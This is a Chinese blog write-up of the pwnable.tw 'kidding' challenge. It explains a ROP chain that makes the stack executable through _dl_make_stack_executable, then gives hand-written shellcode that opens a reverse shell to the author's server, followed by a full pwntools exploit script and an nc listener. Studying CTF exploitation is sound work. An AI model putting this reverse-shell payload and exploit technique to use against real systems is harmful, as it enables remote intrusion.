Loading... 很久没碰过 pwnable 的题目了,这道题其实很久之前也做过了,但是当时没有服务器接反弹的 shell,所以就作罢了,今天新买了一台服务器,不需要在上面跑什么服务,所以把端口全部放开也没关系,就顺便做掉了这道题。 题目是一个静态链接的 32 位程序,开启了 NX,没有开 pie,主逻辑非常简短 <div style="text-align:center"><img src=https://www.cjovi.icu/usr/uploads/2021/07/2425263714.png></div> 漏洞是一个简单的栈溢出,可以溢出 92 个字节,但是函数退出前会关闭所有的输入输出文件。那么这个时候就可以考虑反弹 shell,用 socket 即可。 ### 使栈可执行 但是只有 92 字节的溢出,通过 rop 实现反弹比较困难,而程序是静态链接的,其中存在一个神奇的函数 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/905669398.png"> </div> 只要能够满足 `*a1 != _libc_stack_end` 就可以使栈可执行,通过 shellcode 实现反弹就会容易一点。其汇编实现为 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/1835212371.png "> </div> 也就是 `*eax == __libc_stack_end`。要满足这个条件需要一些神奇的 gadget,对该函数使用 IDA 的 xref 功能 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/3472307215.png "> </div> 发现有两处,第一个处于代码段,看一下这里 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/485288344.png "> </div> 这里帮我们设置好了 __stack_prot,之后执行 mprotect 后栈就可以执行了,通过设置 ebp 可以使 eax 指向 __libc_stack_end,注意在 call 前 eax 中应该存 __libc_stack_end 的地址,即 `[ebp + arg_10] == &__libc_stack_end`,这个也很好满足,在代码段中有许多地方都硬编码了这个变量的地址,比如上面比较 eax 的时候,所以让 [ebp + arg_10] 指向代码段中硬编码的地址就可以了。 然后还有一点比较麻烦,再执行完上面这个 gadget 后,call 完 `_dl_make_stack_executable` 后,会 ret 回到 gadget 上,无法继续 rop 下去。但是观察一下 `_dl_make_stack_executable` 的汇编实现 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/2199970869.png "> </div> 可以发现在函数进入时 push 了 esi 和 ebx,退出时自然的也会 pop 掉,如果我们让函数进入时不 push 这个 esi,那么它在退出时就会多 pop 一次,滑倒我们的 rop 链上,实现了继续利用。注意到 gadget 在 call 的时候是通过函数指针来调用的,所以我们只要把这个指针加一就可以跳过第一个 push 了。 ```python payload = 'a' * 8 payload += p32(0x0809A095 - 0x18) # setup ebp payload += p32(pop_ecx_ret) payload += p32(0x080EA9F4) payload += p32(inc_mem_of_ecx_point_ret) payload += p32(0x080937F0) payload += p32(jmp_esp) payload += shellcode ``` 通过这样的 payload 就可以执行我们的 shellcode 了。 ### 反弹 shell 这里选择使用 socket 来反弹,因为它足够简单,使用系统调用即可。 首先建立一个 socket。32 位下 eax 做功能号,ebx、ecx 分别做第二三个参数,sys_socket 的定义如下,其功能号为 0x66 ```cpp asmlinkage long sys_socketcall(int call, unsigned long __user *args) ``` 部分实现为 ```cpp unsigned long a[AUDITSC_ARGS]; unsigned long a0, a1; int err; unsigned int len; if (call < 1 || call > SYS_SENDMMSG) return -EINVAL; call = array_index_nospec(call, SYS_SENDMMSG + 1); len = nargs[call]; if (len > sizeof(a)) return -EINVAL; /* copy_from_user should be SMP safe. */ if (copy_from_user(a, args, len)) return -EFAULT; err = audit_socketcall(nargs[call] / sizeof(unsigned long), a); if (err) return err; a0 = a[0]; a1 = a[1]; switch (call) { case SYS_SOCKET: err = __sys_socket(a0, a1, a[2]); break; case SYS_BIND: err = __sys_bind(a0, (struct sockaddr __user *)a1, a[2]); break; case SYS_CONNECT: err = __sys_connect(a0, (struct sockaddr __user *)a1, a[2]); break; case SYS_LISTEN: err = __sys_listen(a0, a1); ``` 我们首先需要创建一个新的 socket,所以使 switch 进入 SYS_SOCKET case 中,该 case 值为 1。`__sys_socket` 的定义为 ```cpp int __sys_socket(int family, int type, int protocol) ``` 这里需要选择协议,我们需要建立的是 tcp/ip stream 链接,对应的 family(协议族)为 ```cpp #define AF_INET 2/* Internet IP Protocol */ ``` 对应的 type 为 ```cpp enum sock_type { SOCK_STREAM = 1, SOCK_DGRAM = 2, SOCK_RAW = 3, SOCK_RDM = 4, SOCK_SEQPACKET= 5, SOCK_DCCP = 6, SOCK_PACKET = 10, }; ``` 其中的 SOCK_STREAM。对应的 protocol 为 ```cpp IPPROTO_IP = 0, /* Dummy protocol for TCP*/ ``` 也就是说系统调用是 args 指针,也就是 ecx 要指向一个 [2,1,0] 的数组,我们可以用栈来存储该数组,并且设置 ebx 为 1,从而建立一个 tcp/ip 的 socket,如下 ```python # sys_socket eax = 0x66, ebx = 0x1, ecx = esp[2, 1, 0] asm_code = 'push 0x1; pop ebx; mov al, 0x66; xor edx, edx;' asm_code += 'push edx; push ebx; push 0x2; mov ecx, esp; int 0x80;' ``` 执行完系统调用后,会把打开的 socket 的文件描述符返回,存储于 eax 中,由于所以文件都被关了,可以想象该值为 0,下一步就是用 dup2 把 socket 的文件描述符复制给标准输出文件描述符(其实我觉得这一步不是必须的,因为可以连接到服务器后可以通过 `exec 1>&0` 来实现同样的效果,但是实际尝试后发现服务器一直没有回显。这一点不知道是什么原因)。 ```python # dup2(oldfd, newfd) eax = 0x3F, ebx = eax(return from sys_socket) = 0, ecx = 1 asm_code += 'pop esi; pop ecx; mov ebx, eax; mov eax, 0x3F; int 0x80;' ``` 然后建立 socket 连接,这次需要进入 SYS_CONNECT 的 case,宏值为 3,__sys_connect 的定义为 ```cpp int __sys_connect(int fd, struct sockaddr __user *uservaddr, int addrlen) ``` 这三个也可以用建立时类似的方法用栈传递。ip 要编码为整数,可以用 pwntools 的方法来做,即 ```python ip = u32(binary_ip("your_server_s_ip")) ``` 然后为了减小 shellcode 的长度,这里就直接用的 ax,那么就是 0x6600。 ```cpp # sys_socket eax = 0x66, ebx = 3, sys_connect(0, ip_port, 0x10) asm_code += 'mov al, 0x66; push %d; push ax; push si; mov ecx, esp;' % ip asm_code += 'push 0x10; push ecx; push ebx; mov ecx, esp; mov bl, 0x3; int 0x80;' ``` 最后执行 execve 弹 shell ```cpp # execve("/bin/sh") asm_code += 'mov al, 0xb; pop ecx; push 0x68732f; push 0x6e69622f; mov ebx, esp; int 0x80;' ``` ### exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' #sh = process("./kidding") sh = remote("chall.pwnable.tw",10303) inc_mem_of_ecx_point_ret = 0x080842c8 pop_ecx_ret = 0x080583c9 jmp_esp = 0x080bd13b ip = u32(binary_ip("your_server_s_ip")) payload = 'a' * 8 payload += p32(0x0809A095 - 0x18) # setup ebp payload += p32(pop_ecx_ret) payload += p32(0x080EA9F4) payload += p32(inc_mem_of_ecx_point_ret) payload += p32(0x080937F0) payload += p32(jmp_esp) # sys_socket eax = 0x66, ebx = 0x1, ecx = esp[2, 1, 0] asm_code = 'push 0x1; pop ebx; mov al, 0x66; xor edx, edx;' asm_code += 'push edx; push ebx; push 0x2; mov ecx, esp; int 0x80;' # dup2(oldfd, newfd) eax = 0x3F, ebx = eax(return from sys_socket) = 0, ecx = 1 asm_code += 'pop esi; pop ecx; mov ebx, eax; mov eax, 0x3F; int 0x80;' # sys_socket eax = 0x66, ebx = 3, sys_connect(0, ip_port, 0x10) asm_code += 'mov al, 0x66; push %d; push ax; push si; mov ecx, esp;' % ip asm_code += 'push 0x10; push ecx; push ebx; mov ecx, esp; mov bl, 0x3; int 0x80;' # execve("/bin/sh") asm_code += 'mov al, 0xb; pop ecx; push 0x68732f; push 0x6e69622f; mov ebx, esp; int 0x80;' payload += asm(asm_code) #gdb.attach(proc.pidof(sh)[0]) sh.send(payload) sh.interactive() ``` 在服务器上监听连接可以使用 nc,只需要 ```shell nc -l 26112 ``` 即可。 最后修改:2021 年 07 月 09 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧